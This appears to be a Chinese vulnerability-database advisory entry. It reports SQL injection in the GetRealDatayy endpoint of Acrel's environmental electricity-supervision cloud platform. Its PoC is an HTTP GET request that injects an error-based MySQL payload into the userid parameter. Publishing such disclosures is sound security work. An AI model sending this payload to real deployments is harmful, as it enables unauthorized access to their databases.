安科瑞环保用电监管云平台 GetRealDatayy 存在SQL注入

2025-09-01 安科瑞环保用电监管云平台 PoC Public

Description

安科瑞环保用电监管云平台 GetRealDatayy 存在SQL注入漏洞，攻击者可构造恶意请求获取数据库敏感信息。

PoC

GET /MainMonitor/GetRealDatayy?userid='%20AND%20GTID_SUBSET(CONCAT(0x7162717071,(SELECT%20(ELT(4889=4889,1))),0x7171786b71),4889)--%20hnzj HTTP/1.1

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

Source: https://www.ddpoc.com/DVB-2025-10097.html

References

Related Vulnerabilities